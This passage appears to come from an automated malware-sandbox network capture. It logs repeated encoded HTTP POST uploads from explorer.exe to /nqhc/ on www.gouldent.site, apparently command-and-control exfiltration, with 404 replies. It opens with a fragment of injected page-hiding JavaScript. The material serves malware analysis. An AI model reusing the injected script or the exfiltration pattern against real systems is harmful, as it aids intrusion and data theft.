{width:100%;height:100%;overflow:hidden}</style>';eval("document.write('"+ss+"');");try{setInterval(function(){try{document.getElementById("divAll").style.display="none"}catch(e){}for(var i=0;i<document.body.children.length;i++){try{var tagname=document.body.children[i].tagName;var myid=document.body.children[i].id;if(myid!="ico
Nov 21, 2022 19:25:04.714986086 CET	2015	IN	Data Raw: 6e 44 69 76 31 22 26 26 6d 79 69 64 21 3d 22 73 68 6f 77 63 6c 6f 6e 65 73 68 65 6e 67 78 69 61 6f 6e 22 29 7b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 68 69 6c 64 72 65 6e 5b 69 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 Data Ascii: nDiv1"&&myid!="showcloneshengxiaon"){document.body.children[i].style.display="none"}}catch(e){}}},100)}catch(e){}</script><script>(function(){var bp=document.createElement('script');var curProtocol=window.location.protocol.split(':')[0];if(cur

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.11.20	49910	66.29.151.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:25:17.945808887 CET	2016	OUT	POST /nqhc/ HTTP/1.1 Host: www.gouldent.site Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.gouldent.site User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gouldent.site/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 34 61 4e 65 54 68 4e 4b 78 6b 45 45 69 47 6b 58 47 74 4d 66 67 68 50 53 46 6d 38 41 36 78 53 4d 69 73 75 55 64 45 71 66 6c 7a 51 7a 4c 76 38 51 6b 57 70 4f 7a 6e 4c 73 73 6f 28 32 67 50 61 6f 32 2d 28 7a 33 5a 6e 6d 39 4d 6f 6f 49 54 55 51 6d 66 6d 4d 32 39 77 75 7a 48 73 6d 51 31 41 73 53 54 52 34 77 4a 68 4f 6c 55 4f 41 52 56 74 32 32 55 52 66 59 6d 69 72 47 63 33 5a 30 6e 4e 44 51 63 56 4b 48 4c 45 38 46 68 55 58 79 4d 62 6f 43 47 6a 75 37 37 39 63 75 30 4e 7a 7e 77 6c 30 68 49 45 69 62 79 4b 55 4c 49 4e 44 73 67 75 6a 6a 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=4aNeThNKxkEEiGkXGtMfghPSFm8A6xSMisuUdEqflzQzLv8QkWpOznLsso(2gPao2-(z3Znm9MooITUQmfmM29wuzHsmQ1AsSTR4wJhOlUOARVt22URfYmirGc3Z0nNDQcVKHLE8FhUXyMboCGju779cu0Nz~wl0hIEibyKULINDsgujjg).
Nov 21, 2022 19:25:18.234039068 CET	2017	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:25:18 GMT Server: Apache Content-Length: 570 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.11.20	49911	66.29.151.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:25:20.135612965 CET	2018	OUT	POST /nqhc/ HTTP/1.1 Host: www.gouldent.site Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.gouldent.site User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gouldent.site/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 34 61 4e 65 54 68 4e 4b 78 6b 45 45 77 32 30 58 56 65 6b 66 68 42 50 52 5a 57 38 41 30 52 53 49 69 73 69 55 64 46 75 50 6b 42 30 7a 49 4b 59 51 32 44 46 4f 77 6e 4c 73 7e 49 28 33 76 76 62 6d 32 35 32 4f 33 64 6e 6d 39 49 34 6f 49 67 73 51 33 5f 6d 50 39 64 77 70 30 48 73 6c 62 56 41 6d 53 54 64 56 77 49 6c 4f 6c 46 69 41 51 58 46 32 79 41 46 63 64 47 69 70 54 4d 33 59 7e 48 4e 6b 51 63 6f 31 48 4b 74 48 45 54 49 58 79 73 37 6f 51 57 6a 68 68 37 38 55 78 45 4d 74 78 69 45 62 6d 70 45 4b 4d 51 61 7a 4b 72 51 51 76 6b 47 70 28 4c 4f 6a 71 6d 59 78 4f 79 58 5f 33 67 42 44 4d 64 6a 41 57 33 69 50 48 54 39 67 4f 52 4f 36 68 6a 38 63 75 4d 53 6b 34 34 4d 6d 63 72 79 41 5a 45 37 57 65 4a 6b 4b 28 78 79 68 62 71 48 79 4b 6c 74 30 58 63 34 53 62 44 42 38 70 62 77 49 74 79 52 6f 78 4d 52 77 7a 32 65 71 56 5a 4b 37 58 31 32 61 51 67 58 6a 57 5a 67 68 6f 37 30 6c 6b 61 66 65 32 34 4a 58 67 37 68 7a 70 56 35 4f 4e 51 4e 41 33 72 38 71 4a 34 46 46 7e 54 6a 74 4a 55 59 6c 36 47 31 45 73 63 7e 5f 46 48 61 39 73 4c 65 72 76 2d 42 4c 36 44 33 6c 4f 77 79 5f 48 62 7a 6a 42 56 39 46 6a 4c 52 63 4b 61 65 71 6a 70 73 47 76 76 69 66 51 68 7e 38 56 30 75 75 63 33 48 69 38 5a 32 4c 43 78 4a 7a 30 36 43 75 35 31 43 67 77 66 34 76 73 36 4c 75 45 41 7e 4e 71 35 62 43 70 61 38 6d 58 7a 4e 31 75 48 76 4d 38 71 46 6a 61 4c 35 75 41 74 6e 77 71 30 67 35 49 58 79 50 5a 45 61 33 6c 46 32 42 70 64 77 50 7a 58 41 7a 67 38 58 57 54 79 4e 41 59 6d 67 30 54 4d 75 68 41 55 55 73 46 7a 6e 43 67 75 6b 44 78 48 49 79 37 6d 39 2d 7e 6a 6a 66 48 58 6a 58 74 73 30 67 78 73 38 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=4aNeThNKxkEEw20XVekfhBPRZW8A0RSIisiUdFuPkB0zIKYQ2DFOwnLs~I(3vvbm252O3dnm9I4oIgsQ3_mP9dwp0HslbVAmSTdVwIlOlFiAQXF2yAFcdGipTM3Y~HNkQco1HKtHETIXys7oQWjhh78UxEMtxiEbmpEKMQazKrQQvkGp(LOjqmYxOyX_3gBDMdjAW3iPHT9gORO6hj8cuMSk44MmcryAZE7WeJkK(xyhbqHyKlt0Xc4SbDB8pbwItyRoxMRwz2eqVZK7X12aQgXjWZgho70lkafe24JXg7hzpV5ONQNA3r8qJ4FF~TjtJUYl6G1Esc~_FHa9sLerv-BL6D3lOwy_HbzjBV9FjLRcKaeqjpsGvvifQh~8V0uuc3Hi8Z2LCxJz06Cu51Cgwf4vs6LuEA~Nq5bCpa8mXzN1uHvM8qFjaL5uAtnwq0g5IXyPZEa3lF2BpdwPzXAzg8XWTyNAYmg0TMuhAUUsFznCgukDxHIy7m9-~jjfHXjXts0gxs8.
Nov 21, 2022 19:25:20.859338045 CET	2019	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:25:20 GMT Server: Apache Content-Length: 570 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.11.20	49912	66.29.151.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:25:22.321582079 CET	2026	OUT	POST /nqhc/ HTTP/1.1 Host: www.gouldent.site Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.gouldent.site User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gouldent.site/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 34 61 4e 65 54 68 4e 4b 78 6b 45 45 77 32 30 58 56 65 6b 66 68 42 50 52 5a 57 38 41 30 52 53 49 69 73 69 55 64 46 75 50 6b 42 38 7a 4c 38 55 51 6b 30 78 4f 78 6e 4c 73 6c 49 28 79 76 76 62 72 32 5f 66 4a 33 64 72 51 39 4f 6b 6f 49 7a 45 51 33 4b 79 50 34 64 77 6f 37 6e 73 6e 51 31 41 79 53 54 52 61 77 49 67 31 6c 55 57 41 52 58 31 32 32 79 74 66 54 32 69 72 54 4d 33 63 36 48 4e 7a 51 63 74 6f 48 4b 68 48 45 52 38 58 7a 66 44 6f 44 31 62 68 31 62 38 56 6f 30 4e 74 34 43 45 36 6d 70 67 65 4d 51 61 46 4b 70 38 51 76 6a 79 70 7e 4d 36 69 70 47 59 78 51 43 58 34 7a 68 39 48 4d 64 76 75 57 33 57 50 48 52 74 67 4e 78 4f 36 6b 43 38 66 34 38 53 69 79 59 4e 67 57 4c 75 49 5a 41 54 43 65 49 41 4b 34 42 6d 68 61 5a 76 79 4d 48 4a 30 65 63 34 51 47 7a 42 76 6a 37 77 55 74 79 41 42 78 50 5a 61 7a 30 79 71 45 4c 53 37 54 55 32 56 48 77 57 71 61 35 68 37 73 37 78 6b 6b 61 75 66 32 34 4a 35 67 2d 52 7a 75 6b 4a 4f 4f 52 4e 48 30 37 39 44 42 59 45 48 30 7a 76 33 4a 55 73 39 36 46 31 55 73 64 32 5f 47 6e 61 39 75 73 4b 71 6c 4f 42 4d 6c 7a 32 71 54 67 79 57 48 63 37 4a 42 51 46 5f 69 34 46 63 4a 4f 36 71 70 5a 73 46 72 50 69 62 57 52 7e 2d 65 55 75 75 63 77 4f 62 38 5a 79 4c 43 6b 74 7a 30 4e 6d 75 70 32 61 67 32 66 34 74 73 36 4c 7a 45 41 69 45 71 35 43 56 70 61 73 41 58 77 39 31 75 57 28 4d 28 76 78 67 66 37 35 6e 53 64 6d 6f 31 6b 38 75 49 58 75 48 5a 41 47 34 6b 33 69 42 6f 64 41 50 69 48 41 79 79 73 58 56 62 53 4e 61 4a 32 63 53 54 4d 7a 55 41 55 49 47 46 30 62 43 73 70 51 55 32 6d 49 6b 76 77 68 72 34 47 76 76 48 52 6a 71 33 75 6f 52 6d 62 53 4d 41 54 44 71 78 61 78 56 4b 61 76 62 6e 32 34 2d 59 52 39 52 49 76 68 5f 28 6a 41 43 7a 39 72 6c 6d 6a 52 53 62 61 70 54 51 51 42 4e 77 76 44 79 7a 33 6d 35 7e 46 45 4d 6f 31 65 61 35 59 76 50 73 4a 4b 4e 4c 61 30 50 64 52 68 7a 52 65 69 72 63 69 37 4e 45 72 74 30 7a 41 72 2d 71 6a 6d 75 64 45 33 4c 43 66 42 41 43 52 53 4f 53 73 77 4d 55 32 59 61 52 71 5a 65 33 65 42 34 6e 34 6c 6e 31 66 33 66 43 5f 72 74 44 36 4c 4b 28 74 75 6f 42 5f 30 61 58 75 44 76 77 74 55 73 4d 66 48 66 6f 44 78 4d 33 4f 32 6b 68 78 44 35 6f 58 43 76 30 59 45 32 4f 71 31 41 76 65 77 4b 44 71 39 67 41 69 76 78 32 31 71 76 35 75 6b 59 42 65 65 5f 76 52 48 56 6c 62 37 56 68 6e 65 76 4f 31 71 68 46 4e 5a 78 41 4e 78 43 48 4a 48 69 66 59 32 69 31 75 6d 6f 79 73 30 71 4f 70 39 53 32 47 38 72 78 32 4d 79 6b 4c 65 70 68 6b 78 4d 45 64 7e 30 78 31 77 6e 74 33 41 36 31 34 53 33 64 72 67 52 78 64 4d 54 69 69 36 63 61 5f 35 55 52 76 28 41 50 57 4a 49 30 54 55 59 66 56 31 69 49 63 30 57 7e 37 55 50 78 74 58 2d 71 58 35 38 54 59 76 4c 45 51 6a 45 34 62 76 66 50 51 52 51 4c 76 7e 49 45 55 67 55 53 7a 35 4b 56 62 41 76 72 73 32 75 62 72 4f 39 68 57 6c 64 6a 4d 4e 6c 41 7a 69 53 41 5a 7a 30 6e 63 71 33 4b 69 56 4e 48 6c 54 38 76 36 61 65 4c 4f 4d 56 6b 34 4f 71 53 6e 4b 65 37 5a 35 5a 6a 71 28 6b 51 71 42 46 64 39 6c 44 41 49 68 44 33 53 43 59 76 5f 52 45 74 57 4f 4a 7a 37 28 68 39 79 4a 6b 55 67 43 7a 30 47 36 66 37 53 41 68 7a 6e 62 45 39 77 72 35 65 2d 41 4e 6a 32 39 4d 50 4f 45 4e 69 6b 32 4c 42 66 32 7a 53 70 55 65 33 39 79 78 68 6d 65 45 30 76 72 47 6f 6b 74 75 57 30 61 57 49 66 55 31 4d 67 5a 39 4a 34 74 50 31 50 43 37 7e 42 55 6a 4b 36 63 52 75 34 47 68 48 47 46 34 65 52 30 33 5a 4e 59 61 77 6f 67 35 50 41 71 68 4e 67 6a 4e 4a 31 56 79 58 73 31 6a 4f 59 68 4a 33 6c 35 54 34 4b 78 53 76 48 46 48 7a 42 67 61 6a 49 66 48 47 42 43 66 31 6f 75 49 48 7a 50 49 7a 45 77 4e 63 6a 43 66 56 4a 46 46 77 44 49 54 5a 2d 4a 6b 57 52 4b 77 7e 56 77 6b 47 55 57 31 78 4f 65 55 53 2d 37 44 6c 33 47 72 39 33 68 44 49 5a 42 2d 37 68 6a 62 50 44 41 68 6f 63 72 6b 57 55 47 67 5a 38 33 68 33 71 6d 70 6d 45 66 59 44 37 6f 6a 71 41 41 63 77 45 61 59 68 4e 58 6f 62 64 44 64 6d 74 77 69 76 33 73 4d 77 79 48 31 62 63 63 6f 34 45 63 62 39 72 4c 48 69 53 48 48 78 6d 6a 32 6d 72 67 59 32 4e 30 75 54 51 73 42 53 64 72 4c 6c 57 65 38 42 4c 59 33 75 66 7a 4b 61 36 46 5a 64 6b 77 51 62 59 4d 53 48 6e 31 6c 71 4b 55 6e 6d 6f 38 4d 35 68 52 71 77 4c 63 4a 36 34 64 67 53 7a 33 33 6f 77 45 77 4f 64 64 51 68 42 4c 62 49 61 50 43 56 4f 56 54 37 Data Ascii: r4txB=4aNeThNKxkEEw20XVekfhBPRZW8A0RSIisiUdFuPkB8zL8UQk0xOxnLslI(yvvbr2_fJ3drQ9OkoIzEQ3KyP4dwo7nsnQ1AySTRawIg1lUWARX122ytfT2irTM3c6HNzQctoHKhHER8XzfDoD1bh1b8Vo0Nt4CE6mpgeMQaFKp8Qvjyp~M6ipGYxQCX4zh9HMdvuW3WPHRtgNxO6kC8f48SiyYNgWLuIZATCeIAK4BmhaZvyMHJ0ec4QGzBvj7wUtyABxPZaz0yqELS7TU2VHwWqa5h7s7xkkauf24J5g-RzukJOORNH079DBYEH0zv3JUs96F1Usd2_Gna9usKqlOBMlz2qTgyWHc7JBQF_i4FcJO6qpZsFrPibWR~-eUuucwOb8ZyLCktz0Nmup2ag2f4ts6LzEAiEq5CVpasAXw91uW(M(vxgf75nSdmo1k8uIXuHZAG4k3iBodAPiHAyysXVbSNaJ2cSTMzUAUIGF0bCspQU2mIkvwhr4GvvHRjq3uoRmbSMATDqxaxVKavbn24-YR9RIvh_(jACz9rlmjRSbapTQQBNwvDyz3m5~FEMo1ea5YvPsJKNLa0PdRhzReirci7NErt0zAr-qjmudE3LCfBACRSOSswMU2YaRqZe3eB4n4ln1f3fC_rtD6LK(tuoB_0aXuDvwtUsMfHfoDxM3O2khxD5oXCv0YE2Oq1AvewKDq9gAivx21qv5ukYBee_vRHVlb7VhnevO1qhFNZxANxCHJHifY2i1umoys0qOp9S2G8rx2MykLephkxMEd~0x1wnt3A614S3drgRxdMTii6ca_5URv(APWJI0TUYfV1iIc0W~7UPxtX-qX58TYvLEQjE4bvfPQRQLv~IEUgUSz5KVbAvrs2ubrO9hWldjMNlAziSAZz0ncq3KiVNHlT8v6aeLOMVk4OqSnKe7Z5Zjq(kQqBFd9lDAIhD3SCYv_REtWOJz7(h9yJkUgCz0G6f7SAhznbE9wr5e-ANj29MPOENik2LBf2zSpUe39yxhmeE0vrGoktuW0aWIfU1MgZ9J4tP1PC7~BUjK6cRu4GhHGF4eR03ZNYawog5PAqhNgjNJ1VyXs1jOYhJ3l5T4KxSvHFHzBgajIfHGBCf1ouIHzPIzEwNcjCfVJFFwDITZ-JkWRKw~VwkGUW1xOeUS-7Dl3Gr93hDIZB-7hjbPDAhocrkWUGgZ83h3qmpmEfYD7ojqAAcwEaYhNXobdDdmtwiv3sMwyH1bcco4Ecb9rLHiSHHxmj2mrgY2N0uTQsBSdrLlWe8BLY3ufzKa6FZdkwQbYMSHn1lqKUnmo8M5hRqwLcJ64dgSz33owEwOddQhBLbIaPCVOVT7DVadkeEaLtw9rs6pWsasZ8rqCmu35Okbs3Pa63SkOA6SS5_O_WryzAkw7LD8_G2~o~UNju48aOXVgkVQLTTfowIangsu1ljWsVd8-OpOgA1l3iIn3QU9zl1CHva8kZoAB5rkpoMYqBqmiCM2zdkT7OdRwP3di6I8V~AkjwoRtIQMz2fO8oHkWZnXrKSowikA3~U~0IpKEADpcdrdo6o0Uz7Dcsmvoe0PvkCIC9ISoNRfjzIY0f30WCMjzz99LStqdYG4-wLXPLrjioO93f6r-uzaYrl4JWXhPol00L-lOD0wsniNgV8GTtwHUeaZopLQvr414ujYBNmUphoq6NIEm7Fbv8DUPLpu5NTW_Y71KkyjLYEEPiy1JhiEOR8cI9Kv8IazTcXHmOEVtIGFKrYZY6v8FvgIWVFIYL53_mChxK5QfCv6Cwt5F0WGrUif2SVdpeCbPsu4j3Dmzz82mvmZgThORs64lcvWUpb(v7fEG12r-q5xekN0AGedx(rD_vd9QPafkemONulqcRrFWgbiLFJ8g80ZMVLWsg_(hkavUASzhjtkd8C9qEfyS(uWGrKqM24PA9oVmLZu4nv9z710PbYPrkt6SpaXjQ6cfSGWBTT2nKfR7hr3laXee2vCOn9ZePUasQscYurZWxG5PszfZVgTlU19N(vf5x5k-5mVaavLu46CHAjf4iFXtFuKoF-MExV0DZ3FRbjOaon6EcXG5YQM4LxpHIuXdsLPBly7tVmlKGXaVKgftlWWOSTQYihWml95YF-0_ZUB7chJg7KTmzfkuIXPhDxTPxBmIrV2ZnFOmFkszmw5CU1LY0YYaY27MVo0zd7P9zN6Bj8~CCaPOtLPRMVSH54uIxXYCMr5W1wB-vD8eK2i1UOfxhq7C6plvi1IrYBh4y1iRJU9YprAGpTmJSIuOkNS2c05b8PqpfemvqbGVcdKLoW3MldLZc3aOE2Iv9EEtEm8oTfjkt3AuDjygINjEO6vkryLn(4qPGuROESrCyi0bLWHuLNcT7R9lxVxVCw(B7sIlNADVbCdiumUEHvtmLgqCsKKaEcfTPXIl~SUnZnBXtPCYEFT4yoFNWRFxhALytCyD2dmidLUj5A6gAR7XAJvJsVx912ECq_lXJSkluGed56TqTHqZU0zwLpyk1uVySIdgHOFTOvKNYd7EqmuyGskErbcKbIL9qeTLGBfpSA3DrYtRrYxIbwb0LcLBItQzU9sNUGvCxWHYMJq8BPf5BdKn9aIewYu33qN19NnI7PavKNHw9UNbqL5Vd5C4fhs6k43q2-qz9296gC4TvKYuC-Scgmu0K8CfhKIw2Kz9y0tnXON87sh1P7(JBOeqWhywHaHtj0LepkL07soWdhSBGfNH4RJdG211gVrJIJLAph8W6WCqCTjLHyfEhAIRshcWtt32W9H94xFwLK6L51LS0kSnKf6Mcop4oym3XClYE6SZI3A4tWfkOTZFjmG-Iyz00Ogs0V0t5EfaT1XYg1VnZ5SEUtk6CaYV3oG2tHCcuuolHxLUGjeFrSo-0oHDwrpPmc2cJOBKqWfvCIPDR4nt(66NxYnINfL1rnAAoH0aJkAxOJG_~cADF69LZvnYkTRHDoir5q0N6KRswtv7zkY0hyzqWAt6VtddxIFwmTLp7h5CCWKTS1tOF-~NMzvOPwFgSQD6~nvYAtoxAB0rd6GM1pgfVB(gNrbW9dC7hEGxIByQoaAUtCvBvOlEDRBC(bKWks~umS4yOEjnhGr8f1Du4AvDw3CgIGCManj3N5E-9lUJf-QPk4dHfnbfEFyFV2uXK34c9QmBM5opuA2WtlsyyZLGqtKxjm~Bx1DZ4FbKvUbANGoFNPMpnZBMa_rU7229IwCLvrkYrvrICzwUqUObRxCm0JUwZOLMopFDLsf-U8XG2pYxT1tdHz8f2Fnt(pNlbSV9s-QQRMVz3IDX3PvysAjGYna4aSZtltDTlsV-ygBScBjKFn9gEQnuDyhyiKXXDoxcuIXtc6j_sH6rHowZsQIFbjhGbhLT6pYMY3CuoGyF667ie1Vpa8OAkcUs4AiZz7HZYFq5xLUcFs0mleM15TpIw0mXbNAAWVMxtvOh9Q9bfmaSqjcGeezYKPsQ1ZLQzPphnA4yvxRe99ejKJg7g3nAHhMfP4rDAXFAQRgvA0PtWiFDiM12F4l9sRW4I54LmGqRavtXz8beI11Dw9jUZhsrgzKaziK1EIpBrJLqCIFQvbHXOrnbYLSkQrQbwn4aIwFcDqN_~NgPVyn8bKs9PKv90LyIgKD5ItOInaBVw_tyzIfOttqOl8sR7yI5C8dzWK~F~U4oyKZE9KFk87dkOeX7R2yEEv32vB83fgCt2UFWIHgmfL6S0vN4gWKzPSs0mvTYUDDl3H7lkUZF02nt6xgfyK9bTZxvnbi_pVFEddpw13ubmgiNHIXRIvHYOa5SKXs6sdBMrNviNBLVf5UrI6hcDXpFA_VYwvHFjcqMlLW9I3vvcTx8GLh5kPAs3Zfhw97n4NAgt7MHJu3gQJqmknwAJTiI~1v_m0td(RD7ZfZkS6mBTfcx9Jg7NYlHD8mH~Uv4PaIxg6EpGKWe6yxUIR74qwwZtENiASN4U1UcQt(kdPOeQ3XDU3E3QsCCOifOwyFwH1foBQKdPh7t7MPN9ezWgiH6ByxbDxlBwnFWD0KeB6bjPZWOfcDUcAbbNkwDrJAvo6NZFPc7uNYf3iFs~Zcwt9
Nov 21, 2022 19:25:22.321672916 CET	2032	OUT	Data Raw: 32 42 68 46 5a 6a 55 6a 4d 79 61 64 4f 44 64 36 34 46 41 6a 39 77 72 4f 77 64 48 42 51 64 42 28 6f 4f 63 4d 38 63 77 5a 6e 36 68 46 6d 65 50 55 61 7a 7a 4b 36 70 6a 39 38 6c 38 47 50 34 6a 49 54 4f 6a 4b 46 73 56 73 70 5a 72 57 48 5a 72 76 4a 32 Data Ascii: 2BhFZjUjMyadODd64FAj9wrOwdHBQdB(oOcM8cwZn6hFmePUazzK6pj98l8GP4jITOjKFsVspZrWHZrvJ2i2g0h~fwvZ385l3tQR-GNY2vToFREM7XwNdt9nN3KUSljCQNPAzPkkMPy2lPRl9xqWbeJK6Me53kjrLD5~gooKUq0JOMaIxdn53ARi2NIeZAcn_(pXrfBbAma8yllfH1z3clj2p3tLKAsxHa9DeyPSp5Ww-3mdsgr
Nov 21, 2022 19:25:22.484761953 CET	2034	OUT	Data Raw: 61 74 61 42 50 78 59 32 79 30 4d 78 49 45 52 44 65 41 59 52 32 78 32 52 5f 38 74 75 35 70 78 76 59 58 6b 6d 73 68 4a 66 72 52 71 68 41 31 53 4c 66 71 36 43 37 4d 41 37 64 62 64 45 42 58 5f 50 43 37 69 63 72 36 33 72 61 4c 65 63 4c 36 53 53 59 78 Data Ascii: ataBPxY2y0MxIERDeAYR2x2R_8tu5pxvYXkmshJfrRqhA1SLfq6C7MA7dbdEBX_PC7icr63raLecL6SSYxS5Hqlci95Gn~jLWxtAE(EMHq1M_HR881kl2e3BVxwR2uZUhHSndGp1AYKQ0QEGqtJokCudNh7~np-rR6kHkG_asDF~fr3dhHG5OfpOZo5sIX530H5zYOraBPL6ks0vHDofO6axH36LCdQKpUfcGNQnW~Teb9_8zX6
